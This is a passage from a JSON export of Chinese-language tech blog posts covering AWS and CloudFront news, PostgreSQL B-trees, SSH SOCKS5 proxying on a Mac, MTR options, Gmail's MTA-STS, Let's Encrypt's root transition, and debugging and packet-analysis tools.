    "body": "<a href=\"https://packagist.org/\">Packagist</a> 打算把服務丟上 <a href=\"https://aws.amazon.com/\">AWS</a>：「<a href=\"https://blog.packagist.com/an-update-on-packagist-org-hosting/\">An Update on Packagist.org Hosting</a>」。\r\n\r\n<blockquote>We decided to migrate the packagist.org website to AWS as well, including the database, metadata update workers, etc. This makes it much easier to build a highly-available setup, where machines can be rebooted or even rebuilt safely without bringing down the whole site.</blockquote>\r\n\r\n不知道會搬多少上去... 目前 <code>.com</code> 的 <a href=\"https://packagist.com/\">packagist.com</a> 已經上 AWS 了，但 <a href=\"https://packagist.org\">packagist.org</a> 與主要的流量來源 <code>repo.packagist.org</code> 看起來都還沒。",
    "title": "Packagist.org 要搬到 AWS 上..."
  },
  {
    "id": "8924",
    "body": "先前提到的「<a href=\"https://blog.gslin.org/archives/2019/03/12/8806/aws-%E5%B0%8D-elastic-stack-%E5%AF%A6%E4%BD%9C%E5%85%8D%E8%B2%BB%E7%9A%84%E9%96%8B%E6%BA%90%E7%89%88%E6%9C%AC-open-distro-for-elasticsearch/\">AWS 對 Elastic Stack 實作免費的開源版本 Open Distro for Elasticsearch</a>」，在「<a href=\"https://sematext.com/blog/open-distro-elasticsearch-review/?\">Open Distro for Elasticsearch Review</a>」這邊有整理了一份重點：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/G04Zejf.webp\" /><img src=\"https://i.gslin.com/imgur/G04Zejf.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到主要重點都在安全性那塊...",
    "title": "Open Distro for Elasticsearch 的比較"
  },
  {
    "id": "8929",
    "body": "在「<a href=\"https://habr.com/en/company/postgrespro/blog/443284/\">Indexes in PostgreSQL — 4 (Btree)</a>」這邊看到講 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 <a href=\"https://en.wikipedia.org/wiki/B-tree\">B-tree</a> 結構以及常見的查詢會怎麼使用 B-tree。\r\n\r\n裡面講了三種查詢，第一種是等號的查詢 (Search by equality)，第二種是不等號的查詢 (Search by inequality)，第三種是範圍的查詢 (Search by range)。再後面講到排序與 index 的用法。\r\n\r\n雖然是分析 PostgreSQL，但裡面是一般性的概念，其他使用 B-tree 結構的資料庫也是類似作法...",
    "title": "PostgreSQL 裡的 B-tree 結構"
  },
  {
    "id": "8931",
    "body": "90 歲的老人家了 XDDD\r\n\r\n在「<a href=\"http://www.openculture.com/2019/04/noam-chomsky-makes-his-first-power-point-presentation.html\">Noam Chomsky Makes His First Power Point Presentation</a>」這邊看到的：\r\n\r\n<img src=\"https://i.gslin.com/imgur/0TNrHjS.jpg\" alt=\"\" />",
    "title": "Noam Chomsky 第一次公開的 Power Point 投影片？"
  },
  {
    "id": "8932",
    "body": "我的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 桌機在登入後的螢幕設定是這樣，設定在 <code>~/.config/monitors.xml</code> 裡：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TKDVZrI.webp\" /><img src=\"https://i.gslin.com/imgur/TKDVZrI.jpg\" alt=\"\" /></picture>\r\n\r\n但登入時還是預設值 (四個螢幕都是打橫的)，雖然只是輸入個密碼沒有什麼大礙，但還是想找個方法讓登入畫面吃到正確的 <code>monitors.xml</code>。\r\n\r\n查了文件在「<a href=\"https://jropella.com/fixing-ubuntus-login-resolution/\">Fixing Ubuntu’s Login Resolution</a>」這邊發現 Ubuntu 16.04 (Unity) 是用 <a href=\"https://en.wikipedia.org/wiki/LightDM\">LightDM</a>，在登入畫面是透過 lightdm 權限在跑，所以去 <code>~lightdm/.config/monitors.xml</code> 下設定就可以了，如果用 symbolic link 的話要注意權限的問題。\r\n\r\n不小心搞爛的話，可以用 Ctrl-Alt-F1 切到 command line 下登入修正...",
    "title": "Ubuntu 16.04 上多螢幕時登入畫面的設定問題"
  },
  {
    "id": "8933",
    "body": "在泰國住的飯店提供頗快的網路：\r\n\r\n<img src=\"https://www.speedtest.net/result/8167841019.png\" alt=\"\" />\r\n\r\n不過到 <a href=\"https://www.hinet.net/\">HiNet</a> 看起來應該是有繞到美國之類的地區？\r\n\r\n<small><pre>gslin@Gea-Suans-MacBook-Pro [~] [08:16/W4] mtr --report 168.95.1.1\r\nStart: 2019-04-07T08:16:33+0700\r\nHOST: Gea-Suans-MacBook-Pro.local Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- 10.10.20.1                 0.0%    10    1.8   2.0   1.3   3.1   0.6\r\n  2.|-- node-iyp.pool-101-108.dyn  0.0%    10    3.9   3.6   2.7   4.5   0.6\r\n  3.|-- 172.17.36.105              0.0%    10    3.2   4.1   3.2   8.3   1.5\r\n  4.|-- 203.113.44.205             0.0%    10    6.5   5.3   3.9   6.7   1.0\r\n  5.|-- 203.113.44.177             0.0%    10    5.4   4.8   4.0   7.2   1.0\r\n  6.|-- 203.113.37.194             0.0%    10    4.6   6.5   3.0  11.1   2.5\r\n  7.|-- in-addr.net                0.0%    10    3.9   4.4   3.1   5.6   0.8\r\n  8.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n  9.|-- pcpd-4001.hinet.net        0.0%    10  355.4 356.9 355.1 365.4   3.0\r\n 10.|-- pcpd-3212.hinet.net        0.0%    10  215.6 216.6 214.2 225.4   3.4\r\n 11.|-- tpdt-3022.hinet.net        0.0%    10  219.4 215.9 214.0 221.5   2.5\r\n 12.|-- tpdt-3012.hinet.net        0.0%    10  218.9 217.2 215.0 218.9   1.4\r\n 13.|-- tpdb-3311.hinet.net        0.0%    10  212.5 212.9 211.9 214.1   0.6\r\n 14.|-- 210-59-204-229.hinet-ip.h  0.0%    10  213.5 212.7 212.0 213.7   0.6\r\n 15.|-- dns.hinet.net              0.0%    10  214.4 214.5 213.7 216.0   0.7</pre></small>\r\n\r\n這樣有些影音服務只吃台灣 IP 就沒辦法用了，所以就得找方法來解決... 想法是透過我在 <a href=\"https://cloud.google.com/\">GCP</a> 上開的機器繞回 HiNet，所以就得找 Mac 上 SSH 要怎麼設定 Socks5。\r\n\r\n本來以為要用 <a href=\"http://tsocks.sourceforge.net/\">tsocks</a> 之類的工具 (i.e. 用 <code>LD_PRELOAD</code> 處理 <code>connect()</code>)，但意外的在「<a href=\"https://serverfault.com/questions/315605/ssh-through-a-socks-proxy-client-openssh-os-x\">SSH through a SOCKS Proxy? (client = OpenSSH OS X)</a>」這邊看到可以用內建的 nc 處理，因為 nc 有支援 Socks5。\r\n\r\n所以就變成兩包 ssh 指令：\r\n\r\n<small><pre>ssh -D 1081 gcp.server\r\nssh -D 1080 -o \"ProxyCommand nc -X 5 -x 127.0.0.1:1081 %h %p\" hinet.server</pre></small>\r\n\r\n然後 <code>127.0.0.1:1080</code> 就是打通的版本了，可以讓瀏覽器直接掛上去使用。\r\n\r\n至於後來想起來不需要用 Socks5，可以用 <code>ssh -L</code> 而笑出來又是另外一件事情了 :o",
    "title": "Mac 上讓 SSH 走 Socks5 的方式"
  },
  {
    "id": "8935",
    "body": "看到「<a href=\"https://koubokukei.blogspot.com/2019/04/blog-post_6.html\">圍棋ＡＩ與ＡＷＳ</a>」這篇譯文，原文是「<a href=\"https://www.msn.com/ja-jp/news/techandscience/%E5%9B%B2%E7%A2%81ai%E3%83%96%E3%83%BC%E3%83%A0%E3%81%AB%E4%B9%97%E3%81%A3%E3%81%A6%E3%80%81%E8%8B%A5%E6%89%8B%E6%A3%8B%E5%A3%AB%E3%81%AE%E9%96%93%E3%81%A7%E3%80%8Caws%E3%80%8D%E3%81%8C%E5%A4%A7%E6%B5%81%E8%A1%8C-%E3%81%9D%E3%81%AE%E7%90%86%E7%94%B1%E3%81%A8%E3%81%AF%EF%BC%9F/ar-BBTV9TM\">囲碁AIブームに乗って、若手棋士の間で「AWS」が大流行 その理由とは？</a>」。\r\n\r\n沒有太意外是使用 <a href=\"https://zero.sjeng.org/\">Leela Zero</a> + <a href=\"https://github.com/featurecat/lizzie\">Lizzle</a>，畢竟這是 open source project，在軟體與資料的取得上相當方便，而且在好的硬體上已經可以超越人類頂尖棋手。\r\n\r\n由於在 Lizzle 的介面上可以看到勝率，以及 Leela Zero 考慮的下一手 (通常會有多個選點)，而且當游標移到這些選點上以後，還會有可能的變化圖可以看，所以對於棋手在熟悉操作介面後，可以很快的擺個變化圖，然後讓 Leela Zero 分析後續的發展，而棋手就可以快速判斷出「喔喔原來是這樣啊」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/Dvzw1En.jpg\" alt=\"\" />\r\n\r\n網路上也有類似的自戰解說，可以看到棋手對 Lizzle 的操作與分析 (大約從 50:50 開始才是 Lizzle 的操作)：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/UZFlGD-3noE\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n不過話說回來，幹壞事果然是進步最大的原動力... 讓一群對 <a href=\"https://aws.amazon.com/\">AWS</a> 沒什麼經驗的圍棋棋手用起 AWS，而且還透過 AMI 與 spot instance 省錢... XD",
    "title": "日本圍棋界使用 AWS 分析棋局的情況"
  },
  {
    "id": "8937",
    "body": "跟「<a href=\"https://blog.gslin.org/archives/2019/04/07/8933/mac-%E4%B8%8A%E8%AE%93-ssh-%E8%B5%B0-socks5-%E7%9A%84%E6%96%B9%E5%BC%8F/\">Mac 上讓 SSH 走 Socks5 的方式</a>」這邊也有點關係，在泰國時測試發現 <a href=\"https://en.wikipedia.org/wiki/MTR_(software)\">MTR</a> 可以除了標準的 traceroute 結果外，還可以另外拉出 AS number 或是地區資訊。雖然不一定準 (因為是靠 IP address 查的)，但可以很方便取得這些資料加減參考用。\r\n\r\n<code>-z</code> 可以拉出 AS number (雖然 manpage 裡面不知道在搞什麼 XDDD)：\r\n\r\n<pre>       -z, --aslookup\r\n              MISSING</pre>\r\n\r\n另外一個是 <code>-y</code>，也沒寫要怎麼用，但因為是標 <code>n</code> 所以可以猜是數字。實際測試可以看出跟 GeoIP 套件似乎有些相關...\r\n\r\n<code>-y 1</code> 是 IP network 區段 (像是 <code>168.95.0.0/16</code>)，而 <code>-y 2</code> 則是地區資訊 (像是 <code>TW</code> 或是 <code>US</code>)，<code>-y 3</code> 則是哪個 NIC 管的 (像是 <code>apnic</code>)，<code>-y 4</code> 是更新日期：\r\n\r\n<pre>       -y n, --ipinfo n\r\n              MISSING</pre>\r\n\r\n配合 <code>-b</code> 可以同時看 hostname 與 IP address，這樣資訊就蠻完整的了。另外在 Mac 上的 <a href=\"https://brew.sh/\">Homebrew</a> 編出來的 MTR 測不出這些功能，我暫時沒花時間去追，這邊主要都是拿 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上的版本測試的...",
    "title": "MTR 看每個點的 AS number 或是地區資訊"
  },
  {
    "id": "8938",
    "body": "大概猜得到原因，總算是把這塊做下去了...\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 增加自訂網域名稱需要先過認證才能啟用：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/04/amazon-cloudfront-enhances-the-security-for-adding-alternate-domain-names-to-a-distribution/\">Amazon CloudFront enhances the security for adding alternate domain names to a distribution</a>」，也就是把自己的 domain name 掛到 CloudFront 上需要先認證過。\r\n\r\n這邊的認證需要用公開被信任的 SSL Certificate，而大多數人應該會直接拿 AWS 提供的 <a href=\"https://aws.amazon.com/certificate-manager/\">ACM</a> 來用：\r\n\r\n<blockquote>With this change, when you add an alternate domain name using the AWS Management Console or the CloudFront API, you will now need to attach a certificate to the distribution to confirm that you have authorized rights to use the alternate domain name. The certificate must be valid and come from a publicly trusted Certificate Authority like AWS Certificate Manager which provides public SSL/TLS certificates for free.</blockquote>\r\n\r\n申請 ACM 也需要確認身分，印象中沒記錯的話是透過 DNS 或是 e-mail 認證。\r\n\r\n會有這個改變是因為有一個 DDoS 的攻擊手法可以「造成困擾」。在沒有認證就可以增加網域名稱的情況下 (假設是 <code>assets.gslin.com</code>)，AWS 需要把不同帳號設定同一組 domain name (<code>assets.gslin.com</code>) 的 IP address 分開，這樣才能確保安全性。而 IPv4 address 是有限的，用很多帳號申請就有機會讓真正的 <code>assets.gslin.com</code> 擁有人想要用的時候沒有資源可以用。\r\n\r\n其實在 <a href=\"https://aws.amazon.com/route53/\">Route53</a> 也有類似的問題，但因為是個雞生蛋蛋生雞的問題，就更不好解決了，在 DNS 還沒設定好之前要怎麼確認身分是一個更頭痛的問題... e-mail 認證可能是一個方法，但流程上就多了不少步驟。",
    "title": "Amazon CloudFront 要增加自訂網域名稱需要先過認證..."
  },
  {
    "id": "8939",
    "body": "<a href=\"https://mail.google.com/\">Gmail</a> 宣佈支援 MTA-STS：「<a href=\"https://security.googleblog.com/2019/04/gmail-making-email-more-secure-with-mta.html\">Gmail making email more secure with MTA-STS standard</a>」。這邊提到的 MTA-STS 是透過某些設定，讓 SMTP 送信時強制使用 TLS 的機制，可以參考「<a href=\"https://blog.gslin.org/archives/2018/09/27/8507/smtp-%E7%9A%84%E5%BC%B7%E5%8A%A0%E5%AF%86%E9%80%A3%E7%B7%9A%E6%A9%9F%E5%88%B6/\">SMTP 的強加密連線機制</a>」這篇。\r\n\r\n可以看到有 <code>TXT</code>，也有 <code>.well-known</code> 檔案：\r\n\r\n<small><pre>;; ANSWER SECTION:\r\n_mta-sts.gmail.com.     300     IN      TXT     \"v=STSv1; id=20171114T070707;\"</pre></small>\r\n\r\n<small><pre>$ curl https://mta-sts.gmail.com/.well-known/mta-sts.txt\r\nversion: STSv1\r\nmode: testing\r\nmx: gmail-smtp-in.l.google.com\r\nmx: *.gmail-smtp-in.l.google.com\r\nmax_age: 86400</pre></small>\r\n\r\n如果要自己設定的話可以參考 <a href=\"https://www.google.com/\">Google</a> 提供的「<a href=\"https://support.google.com/a/answer/9261504?hl=en\">About MTA-STS and TLS Reporting</a>」這篇，不過目前中文版文件還沒有更新，請切到英文版...",
    "title": "Gmail 宣佈支援 MTA-STS"
  },
  {
    "id": "8940",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 宣佈買下 <a href=\"https://nanobox.io/\">Nanobox</a>：「<a href=\"https://blog.digitalocean.com/digitalocean-acquires-nanobox/\">Nanobox Joins the DigitalOcean Family</a>」。\r\n\r\nNanobox 是一個類似 <a href=\"https://www.heroku.com/\">Heroku</a> 的服務，提供平台 (Platform) 讓開發者不需要自己架設伺服器，就可以直接把寫好的程式丟上去跑。\r\n\r\n這次 DigitalOcean 買下 Nanobox 算是跟他們產品走向一致，提供更上層的應用，降低開發者要接觸營運這塊的門檻。另外之前提供了 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的服務 (類似 <a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a>) 也是類似的想法。\r\n\r\n不過 DigitalOcean 的機器速度不快，如果是因為價位而不想用 Heroku 的人，應該也會猶豫... 如果預算不是太大問題的話，其實 Heroku 還蠻好用的？目前想不到有什麼關鍵的優勢...",
    "title": "DigitalOcean 買下 Nanobox"
  },
  {
    "id": "8941",
    "body": "公司的 <a href=\"https://en.wikipedia.org/wiki/MacBook_Pro\">MacBook Pro</a> (13-inch, 2017, Two Thunderbolt 3 ports) 透過 HDMI 接 <a href=\"https://www.dell.com/\">Dell</a> P2419H 一直都有 Underscan 的問題：\r\n\r\n<img src=\"https://i.gslin.com/imgur/0VAMWsn.jpg\" alt=\"\" />\r\n<small>出自「<a href=\"https://support.apple.com/en-us/HT202763\">About overscan and underscan on your Mac, Apple TV, or other display</a>」</small>\r\n\r\n本來想透過 Underscan slide 修改 (像是下面這張圖)，但發現系統內沒有 Underscan slide。\r\n\r\n<img src=\"https://i.gslin.com/imgur/W0ffoiI.jpg\" alt=\"\" />\r\n<small>出自「<a href=\"https://support.apple.com/en-us/HT202763\">About overscan and underscan on your Mac, Apple TV, or other display</a>」</small>\r\n\r\n找了不少文章後後來是在「<a href=\"https://ishan.co/external-monitor-underscan\">Fixing Issues with Overscan/Underscan(Black Borders) on macOS</a>」這篇的 comment 看到解法：\r\n\r\n<blockquote>Ran into this same underscan problem with black borders showing up on my new Dell 24-inch Ultrasharp U2415 connected to a 2013 Macbook Air running High Sierra, and after hours of looking into the problem the fix turned out to be super simple:\r\n\r\nJust restart in Safe Mode.\r\n\r\nThat’s it. Restart your Mac in Safe Mode (restart, hold down the Shift key after the Apple BONG sounds, then restart normally once again for good measure. I don’t know what this clears or resets but it worked for me. No more letterboxing or black borders with the native 1920×1200 resolution selected.\r\n\r\nSo maybe something to try first for anyone coming across this post.</blockquote>\r\n\r\n照著重開進 Safe mode 後再開回一般模式就正常了 (what？？？)，先記錄起來，讓我之後遇到時可以搜尋到自己的文章...",
    "title": "修正 Mac 外接螢幕的 Underscan 問題"
  },
  {
    "id": "8943",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的 <a href=\"https://github.com/jhuangtw-dev/xg2xg\">jhuangtw-dev/xg2xg</a>，整理了 <a href=\"https://www.google.com/\">Google</a> 內部服務以及可能的替代方案。\r\n\r\n主要是提供給離開 Google 的工程師，替代方案中包括了 Google 自己公佈的，已經其他的 open source 替代方案：\r\n\r\n<blockquote>by ex-googlers, for ex-googlers - a lookup table of similar tech & services</blockquote>\r\n\r\n<blockquote>A handy lookup table of similar technology and services to help ex-googlers survive the real world :) pull-requests very welcomed. Please do not list any confidential projects!</blockquote>\r\n\r\n專案的發起人看起來是個台灣人...",
    "title": "Google 內部的系統 (以及外部可能的 Open Source 替代方案)"
  },
  {
    "id": "8944",
    "body": "<a href=\"https://www.grab.com/\">Grab</a> 的「<a href=\"https://engineering.grab.com/correcting-restaurant-locations-harnessing-wisdom-of-the-crowd\">How we harnessed the wisdom of crowds to improve restaurant location accuracy</a>」這篇是他們的 data team 整理出來，如何使用既有的資料快速的修正餐廳資訊。裡面提到的方法不需要用到 machine learning，光是一些簡單的統計算法就可以快速修正現有的架構。\r\n\r\n這些資訊其實是透過司機用的 driver app 蒐集來的，在 driver app 上有大量的資訊傳回伺服器 (像是定時回報的 GPS 位置，以及取餐狀態)，而這些司機因為地緣關係，腦袋裡的資訊比地圖會準不少：\r\n\r\n<blockquote>One of the biggest advantages we have is the huge driver-partner fleet we have on the ground in cities across Southeast Asia. They know the roads and cities like the back of their hand, and they are resourceful. As a result, they are often able to find the restaurants and complete orders even if the location was registered incorrectly.</blockquote>\r\n\r\n所以透過這些資訊他們就可以反過來改善地圖資料，像是透過司機按下「取餐」的按鈕的地點與待的時間，就可以估算餐聽可能的位置，然後拿這個資訊比對地圖上的資料，就很容易發現搬家但是地圖上沒更新的情況：\r\n\r\n<blockquote><strong>Fraction of the orders where the pick-up location was not “at” the restaurant</strong>: This fraction indicates the number of orders with a pick-up location not near the registered restaurant location (with near being defined both spatially and temporally as above). A higher value indicates a higher likelihood of the restaurant not being in the registered location subject to order volume</blockquote>\r\n\r\n<blockquote><strong>Median distance between registered and estimated locations</strong>: This factor is used to rank restaurants by a notion of “importance”. A restaurant which is just outside the fixed radius from above can be addressed after another restaurant which is a kilometer away.</blockquote>\r\n\r\n另外也有不少其他的改善 (像是必須在離餐聽某個距離內才能點「取餐」，這個「距離」會因為餐聽可能在室內商場而需要的調整)，整個成果就會反應在訂單的取消率大幅下降：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EVPIuBr.webp\" /><img src=\"https://i.gslin.com/imgur/EVPIuBr.jpg\" alt=\"\" /></picture>\r\n\r\n整體看起來是系統產生清單後讓人工後續處理 (像是打電話去店家問？)，但這個方式所提供的清單準確度應該很高 (因為司機不會沒事跟自己時間過不去，跑到奇怪地方按下取餐)，用這些資料跑簡單的演算法就能夠快速修正不少問題...",
    "title": "GrabFood 用定位資料修正餐廳的資訊"
  },
  {
    "id": "8945",
    "body": "<a href=\"https://public-sans.digital.gov/\">Public Sans</a> 是一套美國政府出資而產生的無襯線字型，專案放在 <a href=\"https://github.com/\">GitHub</a> 上 (<a href=\"https://github.com/uswds/public-sans\">uswds/public-sans</a>)。這套自行不是全部都自己刻，而是改自於 <a href=\"https://github.com/impallari/Libre-Franklin\">Libre Franklin Font</a> (以 SIL Open Font License v1.1 授權，而 Public Sans 沿用同樣授權)。\r\n\r\n第一個目標是授權：\r\n\r\n<blockquote>Be available as a free, open source webfont on any platform.</blockquote>\r\n\r\n另外是使用的廣度：\r\n\r\n<blockquote>Have a broad range of weights and a good italic.\r\nPerform well in headlines, text, and UI.</blockquote>\r\n\r\n<blockquote>Have good multilingual support.\r\nAllow for good data design with tabular figures.</blockquote>\r\n\r\n在 GitHub 頁面上有整理與 Libre Franklin 的差異，可以看到配合現在的呈現媒體而做了不少調整。",
    "title": "美國政府發行的字型 Public Sans"
  },
  {
    "id": "8946",
    "body": "<a href=\"https://pi-hole.net/\">Pi-hole</a> 最近愈來愈紅的一個計畫，技術上是透過 DNS 把不想要的網域名稱擋掉，通常就是擋掉各種 tracking 與廣告系統。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cEuHa1q.webp\" /><img src=\"https://i.gslin.com/imgur/cEuHa1q.jpg\" alt=\"\" /></picture>\r\n\r\n因為是透過 DNS 擋，當然沒有像 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 直接 parse 網頁內容來的有效，但對於方便性來說則是大勝，只需要在網路設備上設一次，所有的裝置都可以用到。\r\n\r\n剛剛看到「<a href=\"https://www.brianchristner.io/how-a-single-raspberry-pi-made-my-home-network-faster/\">How a Single Raspberry Pi made my Home Network Faster</a>」這篇，可以看到 Pi-hole 有不錯的介面可以看 (讓你自我感覺良好？XD)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RsUgeiR.webp\" /><img src=\"https://i.gslin.com/imgur/RsUgeiR.jpg\" alt=\"\" /></picture>\r\n\r\n文章作者跑了一個月後，也直言還是有些東西會壞掉，需要設定一些白名單讓他動：\r\n\r\n<blockquote>Review after 1 month in operation\r\nThe Pi-Hole has been running for 1 month now on my home network. I have had to whitelist 1 or 2 URLs which was blocking a reset of an Alexa which had an issue, and a video conferencing system had all sorts of tracking and metrics built in which were causing some havoc until I whitelisted them. Otherwise, the Pi has been chugging along at 8% memory utilization, and the network is considerably faster when surfing the web.</blockquote>\r\n\r\n對於手癢自己玩應該還可以，拿到辦公室的話應該會有不少東西掛掉... (不過文章作者好像想這樣做)",
    "title": "擋廣告的 Pi-hole"
  },
  {
    "id": "8947",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 開始提供中國大陸上的節點：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/04/amazon-cloudfront-is-now-available-in-mainland-china/\">Amazon CloudFront is now Available in Mainland China</a>」。看起來是綁在 <a href=\"https://www.amazonaws.cn/\">AWS China</a> 上面，而且需要 ICP 才能使用：\r\n\r\n<blockquote>To start using CloudFront in China, customers must setup a CloudFront distribution using the AWS Management Console or API in China and also obtain a valid ICP (Internet Content Provider) recordal.</blockquote>\r\n\r\n不過第一波提供的節點不多，只有北京、上海與寧夏：\r\n\r\n<blockquote>Amazon CloudFront announces the launch of CloudFront in China with three new Edge locations (POPs) located in Beijing, Shanghai, and Zhongwei, operated by Ningxia Western Cloud Data Co. Ltd. (NWCD).</blockquote>\r\n\r\n後續不知道還有機會展到哪些地區...",
    "title": "CloudFront 開始提供中國大陸的服務"
  },
  {
    "id": "8949",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 宣佈了以後的憑證的簽發計畫：「<a href=\"https://letsencrypt.org/2019/04/15/transitioning-to-isrg-root.html\">Transitioning to ISRG's Root</a>」。\r\n\r\n主要的改變是 2019/07/08 之後提供的 intermediate CA 會改變，從現在的 cross-sign 變成只有自己的 Root CA：\r\n\r\n<blockquote>On <strong>July 8, 2019</strong>, we will change the default intermediate certificate we provide via ACME. Most subscribers don’t need to do anything. Subscribers who support very old TLS/SSL clients may want to manually configure the older intermediate to increase backwards compatibility.</blockquote>\r\n\r\n目前的簽發用的兩個中介憑證 (<code>Let's Encrypt Authority X3</code> 與 <code>Let's Encrypt Authority X4</code>) 是由 Let's Encrypt 自己的 <code>ISRG Root X1</code> 與 <a href=\"https://www.identrust.com/\">IdenTrust</a> 的 <code>DST Root CA X3</code> 所 共同簽署的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DAttMjf.webp\" /><img src=\"https://i.gslin.com/imgur/DAttMjf.jpg\" alt=\"\" /></picture>\r\n\r\n這是因為 IdenTrust 的 <code>DST Root CA X3</code> 憑證很久前就被各家瀏覽器信任 (像是 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=359069\">Request to add two additional IdenTrust root CA certificates</a>」這篇，可以看到 2007 年就被放進去了)，而 Let's Encrypt 當時為了更快把可用的產品推出，所以跟 IdenTrust 合作，採用 cross sign 的方式讓 Let's Encrypt 簽出來的憑證被一般瀏覽器與函式庫所信任。\r\n\r\n現在差不多過了三年半，Let's Encrypt 成為目前世界上最大的 SSL Certificate 發放單位，加上自己的 Root CA (<code>ISRG Root X1</code>) 也都差不多被整合進各家系統內了，所以打算要獨立自己簽了。\r\n\r\n不過系統上可以設定，使用者如果有遇到相容性問題 (太舊的系統可能還是不包含 Let's Encrypt 自家的 <code>ISRG Root X1</code>)，還是可以設定使用有 cross-sign 的版本 (維持現狀)。與 IdenTrust 的 cross-sign 會維持到 2021 年九月，大約再兩年多一些：\r\n\r\n<blockquote>Our current cross-signature from IdenTrust expires on March 17, 2021. The IdenTrust root that we are cross-signed from expires on September 30, 2021. Within the next year we will obtain a new cross-signature that is valid until September 29, 2021. This means that our subscribers will have the option to manually configure a certificate chain that uses IdenTrust until <strong>September 29, 2021</strong>.</blockquote>\r\n\r\n對於自用來說應該沒什麼大影響，主要是企業用戶要注意相容性...",
    "title": "Let's Encrypt 從七月開始將會改用自己的 Root 簽發憑證"
  },
  {
    "id": "8951",
    "body": "「printf 大法」大概是最早期學到的 debug 方式？不同語言有不同的指令，在 <a href=\"https://www.python.org/\">Python</a> 裡對應的是 <code>print</code> 指令 (加上 <code>%</code> 或是 <code>.format()</code>)。\r\n\r\n剛剛看到「<a href=\"https://github.com/cool-RR/pysnooper\">cool-RR/pysnooper</a>」這個 Python 上的工具，只要增加 <code>@pysnooper.snoop()</code> 這組 decorator，就可以自動幫你把變數的值印出來。網站上的範例是這樣，可以看到就只是加了一行 decorator：\r\n\r\n<small><pre>import pysnooper\r\n\r\n@pysnooper.snoop()\r\ndef number_to_bits(number):\r\n    if number:\r\n        bits = []\r\n        while number:\r\n            number, remainder = divmod(number, 2)\r\n            bits.insert(0, remainder)\r\n        return bits\r\n    else:\r\n        return [0]\r\n\r\nnumber_to_bits(6)</pre></small>\r\n\r\n然後對應的 stderr 就有滿滿的資訊可以看：\r\n\r\n<small><pre>Starting var:.. number = 6\r\n21:14:32.099769 call         3 @pysnooper.snoop()\r\n21:14:32.099769 line         5     if number:\r\n21:14:32.099769 line         6         bits = []\r\nNew var:....... bits = []\r\n21:14:32.099769 line         7         while number:\r\n21:14:32.099769 line         8             number, remainder = divmod(number, 2)\r\nNew var:....... remainder = 0\r\nModified var:.. number = 3\r\n21:14:32.099769 line         9             bits.insert(0, remainder)\r\nModified var:.. bits = [0]\r\n21:14:32.099769 line         7         while number:\r\n21:14:32.099769 line         8             number, remainder = divmod(number, 2)\r\nModified var:.. number = 1\r\nModified var:.. remainder = 1\r\n21:14:32.099769 line         9             bits.insert(0, remainder)\r\nModified var:.. bits = [1, 0]\r\n21:14:32.099769 line         7         while number:\r\n21:14:32.099769 line         8             number, remainder = divmod(number, 2)\r\nModified var:.. number = 0\r\n21:14:32.099769 line         9             bits.insert(0, remainder)\r\nModified var:.. bits = [1, 1, 0]\r\n21:14:32.099769 line         7         while number:\r\n21:14:32.099769 line        10         return bits\r\n21:14:32.099769 return      10         return bits</pre></small>\r\n\r\n另外還可以寫到檔案裡、允許的深度，或是值接指定要哪些變數，另外輸出時也可以指定 prefix 避免混淆 (通常會用在 stderr 不只有 pysnooper 在輸出時)。",
    "title": "Python 上取代「printf 大法」的工具"
  },
  {
    "id": "8952",
    "body": "看到 <a href=\"https://termshark.io/\">Termshark</a> 這個專案，程式碼在 <a href=\"https://github.com/gcla/termshark\">gcla/termshark</a>：\r\n\r\n<img src=\"https://i.gslin.com/imgur/WcR7JUR.gif\" alt=\"\" />\r\n\r\n類似於 <a href=\"https://www.wireshark.org/docs/man-pages/tshark.html\">tshark</a> 使用 CLI，但操作介面會比 tshark 友善不少，從說明可以看出來是透過 tshark 分析：\r\n\r\n<blockquote>Note that tshark is a run-time dependency, and must be in your <code>PATH</code> for termshark to function. Version 1.10.2 or higher is required (approx 2013).</blockquote>",
    "title": "在 command line 上操作的 Termshark"
  },
  {
    "id": "8953",
